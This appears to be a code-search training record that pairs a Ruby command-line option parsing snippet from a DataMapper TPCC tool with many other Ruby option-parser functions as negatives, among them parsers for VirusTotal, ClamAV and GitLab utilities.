do |dburl| options.db_url = dburl end opts.on("-l LOG_LEVEL", "--log-level LOG_LEVEL", LOG_LEVELS, "Specify a log level.") do |l| options.log_level = l.to_sym end opts.on("-L LOG_FILE", "--log-file LOG_FILE", String, "Specify a log file.") do |f| options.log_destination = File.new(f, "a+") end opts.on("-o FILENAME", "--output FILENAME", String, "Filename to save output to.") do |outputfile| options.output_filename = outputfile end opts.on("-t DURATION", "--time DURATION", Integer, "Duration of the test in seconds.") do |time| options.time = time end opts.on("--once", "Run just one time") do |once| options.once = once end opts.separator "Common Options:" opts.on_tail("-h", "--help", "Show this message.") do puts opts print "\nLog Levels:\n" LOG_LEVELS.keys.each { |l| print "\t#{l}\n" } print "\nExample Database URLS:\n" $example_dbs.each { |db| print "\t#{db}\n" } exit end opts.on_tail("--version", "Show version") do puts DataMapper::TPCC::VERSION exit end end opts.parse!(args) # Process options into global variables (ick) $output = File.open(output_basename + options.output_filename, "w+") $output.print header $data_directory = options.data_directory $data_directory.mkdir unless $data_directory.directory? options end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_options(opts, args); end", "def parse_opts\n option_parser.parse(@argv)\n end", "def parse_options\n set_defaults\n unless parsed_options? && arguments_valid?\n output_usage\n exit 1\n end\n end", "def parse\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n OptionParser.new { |options| parse_options options}.parse!(@args)\n @options\n end", "def parse(args)\n @options = args\n end", "def parse\n @opts = OptionParser.new { |opts| process_opts(opts) }\n @opts.parse!(@args)\n\n process_args\n\n @options\n end", "def parse(args)\n begin \n opt_parser.parse!(args)\n rescue ::OptionParser::InvalidOption => e\n puts help\n exit(1)\n end\n options\n end", "def parse!( args )\n @args = args\n @options.grep!(args)\n end", "def parse(args)\n optparser = new_option_parser\n optparser.parse!(args)\n abort_missing_options(optparser)\n @options\n end", "def parse arguments\n begin\n @option_parser.parse! arguments\n rescue StandardError => e\n puts @option_parser\n puts\n puts e.message\n exit(-1)\n end\n\n @options\n end", "def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end", "def parse_options\n options = {}\n case ARGV[1]\n when '-e'\n options[:e] = ARGV[2]\n when '-d'\n options[:d] = ARGV[2]\n end\n options\nend", "def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end", "def parse\n parser.parse(ARGV)\n @options\n rescue OptionParser::InvalidOption => e\n puts e\n puts parser\n #p @options\n exit(1)\n end", "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end", "def parse_options\n @cl_non_options = @cl_parser.parse(ARGV)\n end", "def parse_options(args)\n\t\t\t\tbegin\n\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t@options['verbose'] = false\n\t\t\t\t\t@options['rescan'] = false\n\t\t\t\t\t@options[:timeout] = 25\n\t\t\t\t\t@options[:directory] = nil\n\n\t\t\t\t\topts = OptionParser.new do |opt|\n\t\t\t\t\t\topt.banner = \"#{APP_NAME} v#{VERSION}\\nJacob Hammack\\n#{HOME_PAGE}\\n\\n\"\n\t\t\t\t\t\topt.banner << \"Usage: #{APP_NAME} <options>\"\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('File Options')\n\n\t\t\t\t\t\topt.on('-h HASH', '--search-hash HASH', 'Searches a single hash on virustotal.com') do |hash|\n\t\t\t\t\t\t\t@hashes.push(hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-r HASH[,HASH]', '--rescan-hash HASH[,HASH]', 'Requests a rescan of a single hash, or multiple hashes (comma separated), by virustotal.com') do |hash|\n\t\t\t\t\t\t\t@options['rescan'] = true\n\t\t\t\t\t\t\t@hashes.push(hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-f FILE', '--search-hash-file FILE', 'Searches each hash in a file of hashes on virustotal.com') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\t@files_of_hashes.push(file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-u FILE', '--upload-file FILE', 'Uploads a file to virustotal.com for analysis') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\t@uploads.push(file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator(\"Url Options\")\n\n\t\t\t\t\t\topt.on('-s SITE', '--search-site SITE', 'Searches for a single url on virustotal.com') { |site|\n\t\t\t\t\t\t\t@sites.push(site)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('Output Options')\n\n\t\t\t\t\t\topt.on('-j', '--json-output', 'Print results as json to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :json\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-x', '--xml-output', 'Print results as xml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :xml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-y', '--yaml-output', 'Print results as yaml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :yaml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--stdout-output', 'Print results as normal text line to stdout, this is default') do\n\t\t\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Advanced Options'\n\n\t\t\t\t\t\topt.on('-c', '--create-config', 'Creates a skeleton config file to use') do\n\t\t\t\t\t\t\tcreate_config\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-d DIRECTORY', '--directory', 'Scans a directory recursively for files and submits the hashes') do |directory|\n\t\t\t\t\t\t\t@options[:directory] = directory\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-p PROXY', '--proxy-server', 'Uses a specified proxy server') do |proxy|\n\t\t\t\t\t\t\t@options['proxy'] = proxy\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--[no-]verbose', 'Print verbose information') do |v|\n\t\t\t\t\t\t\t@options['verbose'] = v\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Other Options'\n\n\t\t\t\t\t\topt.on('-v', '--version', 'Shows application version information') do\n\t\t\t\t\t\t\tputs \"#{APP_NAME} - #{VERSION}\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on_tail('-?', '--help', 'Show this message') { |help|\n\t\t\t\t\t\t\tputs opt.to_s + \"\\n\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\n\t\t\t\t\tif ARGV.length != 0\n\t\t\t\t\t\topts.parse!\n\t\t\t\t\telse\n\t\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\trescue OptionParser::MissingArgument\n\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend", "def parse_command_line()\n opts = GetoptLong.new(\n [ \"--input-file\" , \"-i\", GetoptLong::REQUIRED_ARGUMENT ],\n [ \"--verbose\" , \"-v\", GetoptLong::NO_ARGUMENT ]\n )\n #----------------------------- defaults\n\n opts.each do |opt, arg|\n if (opt == \"--input-file\" ) ; $input_file = arg\n elsif (opt == \"--verbose\" ) ; $verbose = 1\n end\n\n if ($verbose != 0) ; puts \"Option: #{opt}, arg #{arg.inspect}\" ; end\n end\nend", "def parse_command_line\n OptionParser.new do |opts|\n opts.banner = \"Usage: ruby #{$0} [options]\"\n\n opts.on_head(\"-h\", \"--help\", \"Show this help message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"--verbose\", \"Show all progress messages (INFO, DEBUG, WARNING, ERROR)\") do\n Logger.verbose = true\n end\n\n opts.on(\"-q\", \"--quiet\", \"Only show WARNING and ERROR messages\") do\n Logger.quiet = true\n end\n\n opts.on(\"--console\", \"Open up a console to query the source via rbgccxml\") do\n @requesting_console = true\n end\n\n opts.on(\"--clean\", \"Force a complete clean and rebuild of this extension\") do\n @force_rebuild = true\n end\n\n end.parse!\n end", "def parse_options(args)\n opt_parser = OptionParser.new do |opts|\n # Set a banner, displayed at the top\n # of the help screen.\n opts.banner = 'Usage: k9 [options] [<filename.rb>]'\n # Define the options, and what they do\n\n opts.on('-v', '--version', 'JRubyArt Version') do\n options[:version] = true\n end\n\n opts.on('-?', '--check', 'Prints configuration') do\n options[:check] = true\n end\n\n opts.on('-i', '--install', INSTALL) do\n options[:install] = true\n end\n\n opts.on('-f', '--force', 'Force removal of old Config') do\n options[:force] = true\n end\n\n opts.on('-c', '--create', 'Create new outline sketch') do\n options[:create] = true\n end\n\n opts.on('-r', '--run', 'Run the sketch') do\n options[:run] = true\n end\n\n opts.on('-w', '--watch', 'Watch/run the sketch') do\n options[:watch] = true\n end\n\n opts.on('-l', '--live', 'As above, with pry console bound to Processing.app') do\n options[:live] = true\n end\n\n opts.on('-a', '--app', 'Export as app NOT IMPLEMENTED YET') do\n options[:export] = true\n end\n\n opts.on_tail('-h', '--help', 'Display this screen') do\n puts opts\n exit\n end\n end\n @argc = opt_parser.parse(args)\n @filename = argc.shift\n end", "def parse_opts\n if parse_argv\n apply_options\n true\n end\n end", "def parse_command_line_options!(args)\n OptionParser.new do |opts|\n opts.on('-h', '--help', 'Display this screen') do\n raise UsageError.new(opts)\n end\n end.parse!(args)\n return {}, args\n end", "def parse_args\n @args.extend OptionParser::Arguable\n opts = @args.getopts('cdDi:lm:n:o:s:St:uvVz')\n @nsocks = opts['s'] ? opts['s'].to_i : 1\n @max_idle = opts['i'] ? opts['i'].to_i : DEFAULT_MAX_IDLE\n @max_use = opts['m'] ? opts['m'].to_i : DEFAULT_MAX_USE\n $VERBOSE = true if opts['v']\n end", "def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end", "def parse_options(args)\n opt_parser = OptionParser.new do |opts|\n # Set a banner, displayed at the top\n # of the help screen.\n opts.banner = 'Usage: k9 [options] [<filename.rb>]'\n # Define the options, and what they do\n options[:version] = false\n opts.on('-v', '--version', 'JRubyArt Version') do\n options[:version] = true\n end\n\n options[:install] = false\n opts.on('-i', '--install', 'Installs jruby-complete and examples') do\n options[:install] = true\n end\n\n options[:check] = false\n opts.on('-?', '--check', 'Prints configuration') do\n options[:check] = true\n end\n\n options[:app] = false\n opts.on('-a', '--app', 'Export as app NOT IMPLEMENTED YET') do\n options[:export] = true\n end\n\n options[:watch] = false\n opts.on('-w', '--watch', 'Watch/run the sketch') do\n options[:watch] = true\n end\n\n options[:run] = false\n opts.on('-r', '--run', 'Run the sketch') do\n options[:run] = true\n end\n\n options[:live] = false\n opts.on('-l', '--live', 'As above, with pry console bound to Processing.app') do\n options[:live] = true\n end\n\n options[:create] = false\n opts.on('-c', '--create', 'Create new outline sketch') do\n options[:create] = true\n end\n\n # This displays the help screen, all programs are\n # assumed to have this option.\n opts.on('-h', '--help', 'Display this screen') do\n puts opts\n exit\n end\n end\n @argc = opt_parser.parse(args)\n @filename = argc.shift\n end", "def parse_arguments\n OptionParser.new do |parser|\n # parser.banner = \"Usage: init.rb -c <integer>\"\n parser.on(\"-c\", \"--count COUNT\", Integer, \"Specify number of uuid's to generate\") do |c|\n @options[:count] = c\n end\n parser.on(\"-f\", \"--file FILE\", \"Specify path to save csv file example -f '/path/to/file.csv'\") do |path|\n @options[:path] = path\n end\n end.parse!\n end", "def parse_options!(argv)\n HighLine.use_color = false if !STDOUT.tty? && !ENV.has_key?(\"AUTOTEST\")\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: montage [config file path] [options]\"\n\n opts.on('-c', '--[no-]color', '--[no-]colour',\n 'Enables and disables colour output.') do |color|\n HighLine.use_color = color\n end\n\n opts.on('-f', '--force',\n 'Regenerate sprites even if no changes have been made.') do\n Montage::Commands.config[:force] = true\n end\n\n # opts.on('-q', '--quiet',\n # 'Tell Montage to shut up. No messages sent to STDOUT.') do\n # Montage::Commands.config[:quiet] = true\n # end\n\n opts.on_tail(\"-h\", \"--help\", \"Shows this message.\") do\n say BLANK\n say opts.to_s\n exit\n end\n\n opts.on_tail(\"--version\", \"Print the current Montage version.\") do\n say BLANK\n say \"Montage v#{Montage::VERSION}\"\n exit\n end\n end.parse!(argv)\n\n argv\n end", "def parse(argv)\n options = parser.process!(argv)\n validate_options(options)\n Revamp.logger.level = Logger::INFO unless options[:verbose]\n options\n end", "def parse(args)\n arg_list = arg_groups(args)\n options = DEFAULT_OPTIONS.dup\n options[:exclude] += default_excludes\n options[:locations] = arg_list.shift\n\n arg_list.reject(&:empty?).each do |set|\n flag, *args = set\n args.map! { |arg| arg.delete(\"/\") } # \"log/\" => \"log\"\n\n case flag\n when '-f', '--flags' then options[:flags] += args\n when '-e', '--exclude' then options[:exclude] += args\n else puts \"Unknown argument: #{flag}\"\n end\n end\n\n options\n end", "def parse_options(args)\n args.each do |arg|\n case arg\n when '-h', '--help' then @opts[:help] = true\n when '-un', '--user' then @opts[:user] = args.next(arg)\n when '-pw', '--pass' then @opts[:pass] = args.next(arg)\n when '-t', '--token' then @opts[:token] = args.next(arg)\n when '-g', '--get' then @opts[:get] = args.next(arg)\n when '-d', '--debug' then @opts[:debug] = true\n when '-r', '--random' then @opts[:get] = nil\n else next\n end\n end\n end", "def parse_command_line_options\n options = {}\n options[:config] = \"config/clamav.yml\" # default\n opts = OptionParser.new\n # define options\n opts.banner = \"Usage: clamav.rb [-c file] [-u] [-i time]\"\n opts.on('-c', '--config FILE',\n \"Specify config file other than default \",\n \"'config/clamav.yml' - use relative path\") do |file|\n options[:config] = file\n end\n opts.on('-i', '--install TIME', Time,\n \"Install LaunchAgent to run clamav.rb every\",\n \"day at specified time {eg: 2:30pm}\",\n \"Try using with --config FILE\",\n \"Requires RELOGIN\") do |time|\n options[:install] = time\n end\n opts.on('-u', '--uninstall', \"Uninstall LaunchAgent - requires RELOGIN\") do |time|\n options[:uninstall] = true\n end\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") {puts opts; exit 0}\n opts.on_tail(\"-v\", \"--version\", \"Show version\") {puts \"clamav.rb 1.1.0\"; exit 0}\n # parse options\n opts.parse!(ARGV)\n options\nend", "def parse(args = nil)\n\t\t\t\targs ||= {}\n\t\t\t\t# Create options\n\t\t\t\tnoat = [:bool, :action]\n\t\t\t\tsopts = @options.each_value.collect { |option| [option[:long], option[:short], noat.include?(option[:type]) ? GetoptLong::NO_ARGUMENT : GetoptLong::REQUIRED_ARGUMENT] }\n\n\t\t\t\topts = GetoptLong.new(*sopts)\n\t\t\t\topts.quiet = true\n\n\t\t\t\t# Parse option\n\t\t\t\tbegin\n\t\t\t\t\topts.each do |given, arg|\n\t\t\t\t\t\toptname = @options_map[given]\n\t\t\t\t\t\toption = @options[optname]\n\t\t\t\t\t\tvalue = nil\n\n\t\t\t\t\t\t# VALIDATE ARGUMENT DUE TO CASE\n\t\t\t\t\t\tcase option[:type]\n\t\t\t\t\t\t\twhen :string then\n\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\twhen :int then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d+)$/ then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_i(10)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Argument of option \\\"#{given}\\\" must be an integer.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :float then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d*)(\\.(\\d+))?$/ && arg.strip() != \".\" then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_f\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Argument of option \\\"#{given}\\\" must be a float.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :choice then\n\t\t\t\t\t\t\t\tif @options[optname].choices.find_index { |choice| arg =~ choice } then\n\t\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Invalid argument (invalid choice) for option \\\"#{given}\\\".\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :list then\n\t\t\t\t\t\t\t\tvalue = arg.split(\",\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tvalue = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@options[optname][:value] = value\n\t\t\t\t\tend\n\t\t\t\trescue StandardError => exception\n\t\t\t\t\tif exception.message =~ /.+-- (.+)$/ then\n\t\t\t\t\t\tgiven = $1\n\n\t\t\t\t\t\tif exception.is_a?(GetoptLong::InvalidOption) then\n\t\t\t\t\t\t\t@console.fatal(msg: \"Unknown option \\\"#{given}\\\".\", dots: false) if !args[:ignore_unknown]\n\t\t\t\t\t\telsif exception.is_a?(GetoptLong::MissingArgument) then\n\t\t\t\t\t\t\t@console.fatal(msg: \"Option \\\"-#{given}\\\" requires an argument.\", dots: false)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t@console.fatal(\"Unexpected error: #{exc.message}.\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# SET OTHER ARGUMENTS\n\t\t\t\t@args = ARGV\n\n\t\t\t\t# CHECK IF HELP WAS REQUESTED\n\t\t\t\tif self.provided?(\"help\") && !args[:ignore_help] then\n\t\t\t\t\tself.print_help\n\t\t\t\t\texit(0)\n\t\t\t\tend\n\n\t\t\t\t# NOW CHECK IF SOME REQUIRED OPTION WAS NOT SPECIFIED OR IF WE HAVE TO EXECUTE AN ACTION\n\t\t\t\t@inserted[:name].each do |key|\n\t\t\t\t\toption = @options[key]\n\n\t\t\t\t\tif option[:required] == true && option[:value] == nil then\n\t\t\t\t\t\t@console.fatal(msg: \"Required option \\\"#{option[:name]}\\\" not specified.\", dots: false)\n\t\t\t\t\telsif option[:value] == true && option[:type] == :action then\n\t\t\t\t\t\toption.action.call\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end", "def parse(args)\n opts = OptionParser.new\n opts.banner = usage\n\n descriptions.each do |text|\n opts.separator ' ' + text\n end\n\n set_options(opts)\n parse_options(opts, args)\n end", "def parse_command_line(args)\n all_opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{PROGRAM_NAME} [OPTIONS] PASSWORD\"\n opts.separator ''\n\n opts.on(\n '-t',\n '--load-timeout [TIMEOUT_SECONDS]',\n Integer,\n 'Timeout in seconds to wait for',\n 'gitlab-rails console to load',\n 'and process the change.',\n \"Defaults to #{DEFAULT_LOAD_TIMEOUT} seconds.\"\n ) do |timeout|\n @options.load_timeout = timeout\n end\n\n opts.on(\n '-v',\n '--verbose',\n 'Print out debug info when processing.'\n ) do\n @options.debug = true\n end\n\n opts.on(\n '-h',\n '--help',\n 'Help Message'\n ) do\n puts opts\n @options.help_requested = true\n end\n end\n\n all_opts.parse!(args)\n\n unless @options.help_requested\n fail('ERROR: You must specify the password to set') if (ARGV.length < 1)\n\n @options.password = ARGV[0]\n fail('ERROR: Password cannot be empty') if @options.password.strip.empty?\n end\n end", "def parse_command_line_args(args)\n opts = OptionParser.new do |opts|\n opts.banner = 'Usage: tbibtools [OPTIONS] [FILES] < IN > OUT'\n opts.separator ''\n opts.separator 'tbibtools is a free software with ABSOLUTELY NO WARRANTY under'\n opts.separator 'the terms of the GNU General Public License version 2 or newer.'\n opts.separator ''\n \n opts.on('-c', '--config=FILE', String, 'Configuration file') do |value|\n @configuration.config value\n end\n\n opts.on('-e', '--regexp=REGEXP', String, 'Display entries matching the regexp') do |value|\n @configuration.filter Regexp.new(value)\n end\n\n opts.on('-f', '--format=STRING', String, 'Re-format entries (order matters)') do |value|\n @configuration.format *value.split(/,/)\n end\n\n opts.on('--[no-]formatted', 'Unformatted output') do |bool|\n unless bool\n @configuration.entry_format = []\n @configuration.entry_format_default = []\n end\n end\n\n opts.on('-i', '--[no-]case-sensitive', 'Case insensitive') do |bool|\n @configuration.sort_case bool\n end\n \n opts.on('-l', '--format-list=[STRING]', String, 'Format string for list (implies --ls)') do |value|\n @configuration.shortcut_ls\n @configuration.list_format value if value\n end\n\n opts.on('--ls', 'Synonym for: -f list,stripPrelude (\"list\" implies \"unwrap\")') do |bool|\n @configuration.shortcut_ls if bool\n end\n\n opts.on('-o', '--output=FILE', String, 'Output file') do |value|\n @configuration.output value\n end\n\n opts.on('-P', '--strip-prelude', 'Strip the prelude: same as -f stripPrelude but helps to maintain the original formatting') do |bool|\n @configuration.strip_prelude\n end\n\n opts.on('-q', '--query=FIELD=REGEXP', String, 'Show entries for which field matches the regexp') do |value|\n field, rx = value.split(/=/, 2)\n @configuration.query field => Regexp.new(rx, Regexp::IGNORECASE)\n end\n\n opts.on('-s', '--sort=STRING', String, 'Sort (default: sort by key; key = _id, type = _type)') do |value|\n @configuration.sort_key value\n end\n\n opts.on('-S', '--[no-]expand-strings', 'Replace/expand strings') do |bool|\n @configuration.expand_strings bool\n end\n\n opts.on('--strip=FIELDS', String, 'Ignore/strip fields') do |value|\n @configuration.strip value.split(/,/)\n end\n\n opts.on('-u', '--unsorted', 'Unsorted output') do |bool|\n @configuration.sort_key nil\n end\n\n opts.separator ''\n opts.separator 'Other Options:'\n \n opts.on('--debug', Integer, 'Show debug messages') do |v|\n $DEBUG = true\n $VERBOSE = true\n end\n \n opts.on('-v', '--verbose', 'Run verbosely') do |v|\n $VERBOSE = true\n end\n \n opts.on('-h', '--help', 'Show this message') do\n puts opts\n exit 1\n end\n\n opts.separator ''\n opts.separator 'Available formats:'\n format_rx = /^(format|preprocess|head|body|tail)_/\n format_names = (['nnIsYear', 'sortCrossref', 'downcaseType', 'upcaseType'] + \n @configuration.methods.find_all{|m| m =~ format_rx}.collect{|m| m.sub(format_rx, '')}).uniq.sort.join(', ')\n opts.separator format_names\n\n opts.separator ''\n opts.separator 'Known format shortcuts:'\n acc = []\n @configuration.methods.find_all{|m| m =~ /^shortcut_/}.sort.each do |meth|\n fn = meth.sub(/^shortcut_/, '')\n fs = @configuration.send(meth, acc)\n opts.separator \"#{fn}: #{fs.join(',')}\"\n end\n end\n @configuration.input *opts.parse!(args)\n self\n end", "def parse(args)\n # The options specified on the command line will be collected in\n # *options*.\n @options = ScriptOptions.new\n\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n parser.parse!(args)\n end\n\n @options\n end", "def parse_options(args)\n @options = OpenStruct.new\n @options.emacs = !args.delete('--emacs').nil?\n @options.wrap = !args.delete('--wrap').nil?\n @options.inner = !args.delete('--inner').nil?\n @options.jruby = !args.delete('--jruby').nil?\n @options.nojruby = !args.delete('--nojruby').nil?\n @options.action = args[0] || nil\n @options.path = args[1] || File.basename(Dir.pwd + '.rb')\n @options.args = args[2..-1] || []\n end", "def process_options\n options.delete_if { |x,y| y.nil? }\n if options.empty?\n puts @optparse \n exit 0\n end\n options.each do |x,y|\n begin\n if y.to_s.match('^-')\n raise BoilerMakerErr.new(\"Bad args: \\\"#{y}\\\" is not a valid arg to option, \\\"--#{x}\\\". Use the -h flag for syntax help.\")\n end\n rescue => error\n puts error.message + \"\\n\"\n exit 1\n end\n end\n end", "def parse_command_line\n prepend_environment_options\n options = options_with_defaults\n\n OptionParser.new do |parser|\n\n parser.on(\"-h\", \"--help\", \"Show help\") do |_help_requested|\n ARGV << 'h' # pass on the request to the command processor\n options.suppress_command_line_validation = true\n end\n\n parser.on('-i', '--input_dir DIR',\n \"Input directory containing source data files, default: '#{DEFAULT_INPUT_DIR}'\") do |v|\n options.input_dir = File.expand_path(v)\n end\n\n parser.on('-o', '--output_dir DIR',\n \"Output directory to which report files will be written, default: '#{DEFAULT_OUTPUT_DIR}'\") do |v|\n options.output_dir = File.expand_path(v)\n end\n\n parser.on('-r', '--receipt_dir DIR',\n \"Directory root from which to find receipt filespecs, default: '#{DEFAULT_RECEIPT_DIR}'\") do |v|\n options.receipt_dir = File.expand_path(v)\n end\n\n parser.on('-s', '--shell', 'Start interactive shell') do |v|\n options.interactive_mode = true\n end\n\n parser.on('-v', '--[no-]verbose', 'Verbose mode') do |v|\n options.verbose_mode = v\n end\n\n parser.on('-y', '--[no-]say', 'Say error messages.') do |v|\n options.say = v\n end\n\n parser.on('', '--[no-]receipts', 'Include report on existing and missing receipts.') do |v|\n options.do_receipts = v\n end\n end.parse!\n\n if options.verbose_mode\n puts \"Run Options:\"\n ap options.to_h\n end\n\n options\n end", "def parse_yardopts_options(*args); end", "def parse_options; end", "def parse_options; end", "def parse_options(args)\n config = {}\n deprecated_args = []\n flag = /^--/\n\n args.size.times do\n break if args.empty?\n peek = args.first\n next unless peek && (peek.match(flag) || peek.match(/=/))\n arg = args.shift\n peek = args.first\n key = arg\n if key.match(/=/)\n deprecated_args << key unless key.match(flag)\n key, value = key.split('=', 2)\n elsif peek.nil? || peek.match(flag)\n value = true\n else\n value = args.shift\n end\n value = true if value == 'true'\n config[key.sub(flag, '')] = value\n\n if !deprecated_args.empty?\n out_string = deprecated_args.map{|a| \"--#{a}\"}.join(' ')\n display(\"Warning: non-unix style params have been deprecated, use #{out_string} instead\")\n end\n end\n\n config\n end", "def parse_options\n OptionParser.accept(Logger::Severity,/[0-4]/) do |s|\n case s\n when \"0\" then Logger::DEBUG\n when \"1\" then Logger::INFO\n when \"2\" then Logger::WARN\n when \"3\" then Logger::ERROR\n when \"4\" then Logger::FATAL\n else nil\n end\n end\n @optparse = OptionParser.new\n @optparse.banner = \"Usage: #{$0} [options]\"\n @optparse.define_head \"This is a Ruby application\"\n @optparse.set_summary_indent(\" \")\n @optparse.separator \"\"\n @optparse.on( '-v', '--verbose=<SEVERITY>','--[no-]verbose', Logger::Severity, '0:DEBUG/1:INFO/2:WARN/3:ERROR/4:FATAL/NONE' ) do |severity|\n @options[:verbose] = (severity==false)? nil : severity\n end\n @optparse.on( '-l', '--logfile=<logfile>', String, 'The name of the log file (verbose!=NONE)' ) do |logfile|\n @options[:logfile] = logfile\n end\n @optparse.on_tail(\"-h\", \"--help\", \"Show this message\") do\n STDOUT.puts @optparse\n exit(0)\n end\n end", "def options_parse\n # first, deal with all options\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{COMMAND} [options] <cn_tracker_export>\\n\"\n opts.banner += \"Convert CollabNet project tracker artifacts to Pivotal Tracker format\"\n\n opts.on(\"-h\", \"Show this message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"Display this application's version and exit\") do\n puts \"#{COMMAND} version #{VERSION}\"\n exit\n end\n \n opts.on(\"-o <filename>\", \"Direct output to <filename> rather than the console\") do |filename|\n if File.exists?(filename) && (!File.writable?(filename) || File.directory?(filename))\n puts \"Specified filename '#{filename}' is not writable\\n\\n#{opts}\"\n exit\n elsif !File.exists?(filename) && !File.writable?(File.dirname(filename))\n puts \"Location of specified filename '#{filename}' is not writable\\n\\n#{opts}\"\n exit\n end\n \n @options[:out] = filename\n end\n \n opts.on(\"-t < feature | chore | bug >\", \"The type of story to generate\") do |type|\n unless [ 'feature', 'chore', 'bug' ].include?(type)\n puts \"Type '#{type}' is invalid. 